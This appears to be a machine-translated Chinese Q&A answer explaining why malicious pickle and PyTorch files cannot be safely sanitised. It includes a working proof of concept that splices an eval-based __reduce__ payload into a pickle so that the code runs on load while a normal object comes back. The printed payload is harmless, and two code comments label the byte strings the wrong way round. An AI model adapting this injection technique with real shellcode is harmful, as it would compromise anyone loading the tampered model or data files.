正如@MobeusZoom 所指出的,这是关于 Pickle 而不是 PyTorch 格式的答案。无论如何,在这个答案中得出的PyTorch load mechanism relies on Pickle behind the scene 意见仍然适用。
TL;DR;
不要尝试对泡菜进行消毒。信任或拒绝。
引自 Marco Slaviero 在他的演讲中Sour Pickle at the Black Hat USA 2011。
真正的解决办法是:
- 不要与不公平的信任方建立交换;
- 为交换设置安全传输层;
- 签署交换文件;
另外请注意,存在基于 AI 的新型攻击,即使 pickle 没有 shellcode,在从不受信任的来源加载预训练网络时,您仍然可能需要解决其他问题。
重要提示
从上面链接的演示文稿中,我们可以得出几个重要的注释:
- Pickle 使用虚拟机重建实时数据(PVM 与 python 进程一起发生),该虚拟机不是图灵完备的,但具有:指令集(操作码)、用于执行的堆栈和用于托管对象数据的备忘录.这足以让攻击者创建漏洞利用。
- Pickle 机制是向后兼容的,这意味着最新的 Python 可以取消其协议的第一个版本。
- Pickle 可以(重新)构造任何对象,只要 PVM 不崩溃,此机制中没有一致性检查来强制对象完整性。
- 概括地说,Pickle 允许攻击者以任何语言(包括 python)执行 shellcode,这些代码甚至可以在受害程序退出后继续存在。
- 攻击者通常会伪造他们自己的 pickle,因为它提供了比单纯使用 pickle 机制更大的灵活性。当然,他们可以使用 pickle 作为助手来编写操作码序列。攻击者可以通过两种重要方式制作恶意 pickle 负载:
- 预先添加要首先执行的 shellcode 并保持 PVM 堆栈干净。然后你可能会在 unpickling 后得到一个正常的对象;
- 将 shellcode 插入到有效负载中,以便在 unpickling 时执行它并可能与备忘录交互。然后未腌制的对象可能具有额外的功能。
- 攻击者知道“安全 unpickler”并知道如何规避它们。
MCVE
在下面找到一个非常幼稚的 MCVE,以评估您将清理可疑腌制文件封装在 Docker 容器中的建议。我们将使用它来评估主要的相关风险。请注意,真正的漏洞利用会更加先进和复杂。
考虑下面的两个类,Normal 是您希望解开的:
# normal.py
class Normal:
def __init__(self, config):
self.__dict__.update(config)
def __str__(self):
return "<Normal %s>" % self.__dict__
Exploit 是其 shellcode 的攻击者容器:
# exploit.py
class Exploit(object):
def __reduce__(self):
return (eval, ("print('P@wn%d!')",))
然后,攻击者可以使用pickle作为助手来生成中间有效载荷,以伪造最终的漏洞利用有效载荷:
import pickle
from normal import Normal
from exploit import Exploit
host = Normal({"hello": "world"})
evil = Exploit()
host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.'
此时,攻击者可以制作特定的有效载荷来注入其 shellcode 并返回数据。
with open("inject.pickle", "wb") as handler:
handler.write(b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.')
现在,当受害者反序列化恶意pickle文件时,漏洞利用被执行并按预期返回一个有效对象:
from normal import Normal
with open("inject.pickle", "rb") as handler:
data = pickle.load(handler)
print(data)
执行返回:
P@wn%d!
<Normal {'hello': 'world'}>
当然,shellcode 并没有那么明显,你可能没有注意到它已经被执行了。
集装箱清洁剂
现在,让我们按照您的建议尝试清洗这个泡菜。我们将封装如下清洗代码:
# cleaner.py
import pickle
from normal import Normal
with open("inject.pickle", "rb") as handler:
data = pickle.load(handler)
print(data)
cleaned = Normal(data.__dict__)
with open("cleaned.pickle", "wb") as handler:
pickle.dump(cleaned, handler)
with open("cleaned.pickle", "rb") as handler:
recovered = pickle.load(handler)
print(recovered)
进入 Docker 映像以尝试包含其执行。作为基线,我们可以这样做:
FROM python:3.9
ADD ./exploit ./
RUN chown 1001:1001 inject.pickle
USER 1001:1001
CMD ["python3", "./cleaner.py"]
然后我们构建镜像并执行它:
docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0
还要确保包含漏洞利用的已安装文件夹具有限制性ad hoc权限。
P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed
现在cleaned.pickle 是免费的。当然,你需要在释放清洗过的泡菜之前仔细检查这个假设。
观察
正如你所见,Docker 镜像在 unpickling 时不会阻止漏洞利用的执行,但它可能在一定程度上有助于遏制漏洞利用。
注意点(不详尽):
- 最近有一个使用原始协议的 pickle 文件是一个提示,但不是可疑的证据。
- 请注意,即使容器化了,您仍在主机上运行攻击者代码;
- 另外,攻击者可能设计了它的漏洞来破坏 Docker 容器,使用非特权用户来降低风险;
- 不要将任何网络绑定到此容器,因为攻击者可以启动终端并通过网络接口(并可能暴露给 Web)将其公开;
- 根据攻击者的设计方式,其漏洞利用数据可能根本不可用。例如,如果
__reduce__ 方法实际上返回了漏洞利用而不是重新创建所需实例的配方。毕竟这样做的主要目的是让你不再腌制它;
- 如果您打算在加载可疑的 pickle 存档后转储原始数据,您需要一个严格的程序来从漏洞利用中分离数据;
- 清洁步骤可能是一个限制。它依赖于您从恶意负载重新创建预期对象的能力。这将取决于从 pickle 文件中真正重建的内容以及所需的对象构造函数需要如何参数化;
- 最后,如果您对自己的清理过程有信心,可以挂载一个卷以在容器退出后访问结果。